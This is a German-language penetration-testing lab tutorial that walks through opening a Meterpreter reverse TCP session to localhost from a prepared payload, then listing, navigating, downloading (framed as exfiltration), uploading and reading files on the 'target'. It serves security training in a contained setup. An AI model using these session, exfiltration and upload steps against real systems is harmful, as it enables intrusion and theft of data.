Einführung
In diesem Lab lernen Sie die grundlegenden Techniken für die Interaktion mit dem Dateisystem eines Ziels mithilfe von Meterpreter, einer fortschrittlichen Payload, die Teil des Metasploit Frameworks ist. Post-Exploitation ist eine kritische Phase eines Penetrationstests, und die Fähigkeit, im Dateisystem zu navigieren, sensible Dateien herunterzuladen und eigene Tools oder Skripte hochzuladen, ist eine wesentliche Fähigkeit.
Wir werden den Prozess der Herstellung einer Meterpreter-Sitzung durchlaufen und dann Kernbefehle wie ls, cd, download, upload und cat verwenden, um Dateien auf dem kompromittierten System zu erkunden und zu manipulieren.
Dateien und Verzeichnisse mit dem Befehl ls auflisten
In diesem Schritt stellen wir zunächst eine Meterpreter-Sitzung her und verwenden dann den Befehl ls, um die Dateien auf dem Zielsystem aufzulisten. Unser Setup-Skript hat bereits eine Payload (payload.elf) und eine Listener-Konfigurationsdatei (listener.rc) erstellt.
Zuerst starten wir den Metasploit-Listener. Er wartet auf eine eingehende Verbindung von der Payload. Wir verwenden das Flag -r, um unsere Ressourcendatei zu laden, die das Setup automatisiert.
Öffnen Sie ein Terminal und führen Sie den folgenden Befehl aus:
msfconsole -r listener.rc
Sie sehen, wie die Metasploit-Konsole startet und der Handler als Hintergrundjob läuft. Die Ausgabe wird in etwa so aussehen:
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
Nun müssen wir die Payload ausführen, um eine Verbindung zu unserem Listener herzustellen. Öffnen Sie ein neues Terminal, indem Sie auf das "+" Symbol in der Terminal-Tab-Leiste klicken. Führen Sie in diesem neuen Terminal die Payload-Datei aus, die sich in Ihrem ~/project-Verzeichnis befindet.
./payload.elf
Dieser Befehl erzeugt keine Ausgabe. Wechseln Sie zurück zu Ihrem ersten Terminal (dem, das msfconsole ausführt). Sie sollten eine Meldung sehen, die anzeigt, dass eine Sitzung geöffnet wurde.
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Hinweis: Wenn Sie nicht automatisch in die Sitzung geleitet werden, können Sie aktive Sitzungen mit
sessionsauflisten und mit einer Sitzung übersessions -i <ID>interagieren, z. B.sessions -i 1.
Sie befinden sich nun in einer Meterpreter-Sitzung, erkennbar am Prompt meterpreter >. Jeder Befehl, den Sie hier eingeben, wird auf der Zielmaschine ausgeführt. Verwenden wir den Befehl ls, um die Dateien im aktuellen Verzeichnis des Ziels aufzulisten.
ls
Dies listet die Dateien und Verzeichnisse im aktuellen Arbeitsverzeichnis des Ziels auf.
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc
Verzeichnisse mit dem Befehl cd wechseln
In diesem Schritt lernen Sie, wie Sie mit dem Befehl cd (change directory) innerhalb von Meterpreter im Dateisystem des Ziels navigieren. Dies funktioniert genauso wie der Standard-Linux-Befehl cd.
Unser Setup-Skript hat auf dem Zielsystem ein Verzeichnis unter /tmp/victim_files erstellt. Navigieren wir in das Verzeichnis /tmp.
cd /tmp
Der Befehl selbst erzeugt keine Ausgabe. Um zu bestätigen, dass wir das Verzeichnis gewechselt haben, können wir den Befehl pwd (print working directory) verwenden.
pwd
Die Ausgabe zeigt Ihr aktuelles Verzeichnis auf der Zielmaschine an.
meterpreter > pwd
/tmp
Da wir uns nun im Verzeichnis /tmp befinden, listen wir dessen Inhalt mit ls auf, um das Verzeichnis victim_files zu finden.
ls
Sie sollten das Verzeichnis victim_files neben den anderen Dateien und Verzeichnissen in /tmp sehen.
meterpreter > ls
Listing: /tmp
============
Mode Size Type Perms Name
---- ---- ---- ----- ----
...
40777/rwxrwxrwx 4096 dir rwx/- victim_files
...
Eine Datei mit dem Befehl download vom Ziel herunterladen
In diesem Schritt laden wir eine Datei vom Zielsystem auf unsere eigene Maschine herunter. Dies ist eine entscheidende Technik zur Exfiltration von Daten. Wir werden den Befehl download verwenden.
Navigieren wir zunächst in das Verzeichnis victim_files, das wir im vorherigen Schritt gefunden haben.
cd victim_files
Listen Sie nun die Dateien in diesem Verzeichnis auf, um unsere Zieldatei zu finden.
ls
Sie sehen die Datei secret_notes.txt, die vom Setup-Skript erstellt wurde.
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
Laden wir diese Datei nun in unser lokales Verzeichnis ~/project herunter. Die Syntax lautet download <Datei_auf_dem_Ziel>. Standardmäßig wird sie in Ihr aktuelles lokales Verzeichnis heruntergeladen.
download secret_notes.txt
Sie sollten eine Bestätigungsmeldung sehen, die den erfolgreichen Download anzeigt.
[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt
Zur Überprüfung können Sie ein neues Terminal öffnen (oder das zweite, das Sie zuvor geöffnet haben, verwenden) und die Dateien in Ihrem Verzeichnis ~/project auf Ihrem lokalen Rechner auflisten.
ls ~/project
Sie sollten nun secret_notes.txt in der Dateiliste sehen.
Eine Datei mit dem Befehl upload auf das Ziel hochladen
In diesem Schritt lernen Sie, wie Sie mit dem Befehl upload eine Datei von Ihrem Rechner auf das Zielsystem hochladen. Dies ist nützlich, um Tools, Skripte oder andere Payloads auf dem Ziel zu platzieren.
Zuerst benötigen wir eine Datei auf unserem lokalen Rechner, die wir hochladen können. Erstellen wir eine. Führen Sie in Ihrem lokalen Shell-Terminal (nicht in der Meterpreter-Sitzung) den folgenden Befehl aus, um eine Datei namens attacker_file.txt zu erstellen.
echo "attacker data" > ~/project/attacker_file.txt
Wechseln Sie nun zurück zu Ihrer Meterpreter-Sitzung. Sie sollten sich immer noch im Verzeichnis /tmp/victim_files auf dem Ziel befinden. Wir werden attacker_file.txt aus unserem lokalen Verzeichnis ~/project in das aktuelle Verzeichnis des Ziels hochladen.
Die Syntax lautet upload <lokaler_Dateipfad>.
upload /home/labex/project/attacker_file.txt
Sie sehen eine Bestätigung, dass der Upload erfolgreich war.
[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt
Um zu bestätigen, dass die Datei auf dem Ziel vorhanden ist, führen Sie ls in Ihrer Meterpreter-Sitzung aus.
ls
Sie sollten nun sowohl secret_notes.txt als auch Ihre neu hochgeladene attacker_file.txt sehen.
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 14 fil rw-/- attacker_file.txt
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
Den Inhalt einer Textdatei mit dem Befehl cat anzeigen
In diesem letzten Schritt verwenden wir den Befehl cat in Meterpreter, um den Inhalt von Dateien direkt im Dateisystem des Ziels anzuzeigen, ohne sie vorher herunterladen zu müssen.
Sie sollten sich in Ihrer Meterpreter-Sitzung immer noch im Verzeichnis /tmp/victim_files auf dem Ziel befinden.
Zeigen wir zunächst den Inhalt der Originaldatei secret_notes.txt an.
cat secret_notes.txt
Der Befehl gibt den Inhalt der Datei direkt auf Ihrer Konsole aus.
meterpreter > cat secret_notes.txt
This is a secret file from the target.
Als Nächstes zeigen wir den Inhalt der Datei an, die wir hochgeladen haben, attacker_file.txt, um zu bestätigen, dass sie korrekt übertragen wurde.
cat attacker_file.txt
Sie sollten den Text sehen, den wir auf unserem lokalen Rechner erstellt haben.
meterpreter > cat attacker_file.txt
attacker data
Dieser Befehl ist äußerst nützlich, um Konfigurationsdateien, Protokolle oder Skripte auf dem Zielsystem schnell zu inspizieren.
Zusammenfassung
Herzlichen Glückwunsch zum Abschluss dieses Labs! Sie haben die wesentlichen Meterpreter-Befehle für die Interaktion mit dem Dateisystem eines Ziels kennengelernt.
Sie haben erfolgreich eine Meterpreter-Sitzung hergestellt und die folgenden wichtigen Post-Exploitation-Befehle geübt:
ls: Zum Auflisten von Dateien und Verzeichnissen.cd: Zur Navigation im Dateisystem.pwd: Zur Identifizierung des aktuellen Arbeitsverzeichnisses.download: Zum Exfiltrieren von Dateien vom Ziel auf Ihren Rechner.upload: Zum Platzieren von Dateien von Ihrem Rechner auf dem Ziel.cat: Zum Anzeigen des Inhalts von Textdateien direkt auf dem Ziel.
Die Beherrschung dieser Befehle ist ein grundlegender Schritt, um mit dem Metasploit Framework vertraut zu werden und effektive Penetrationstests durchzuführen.


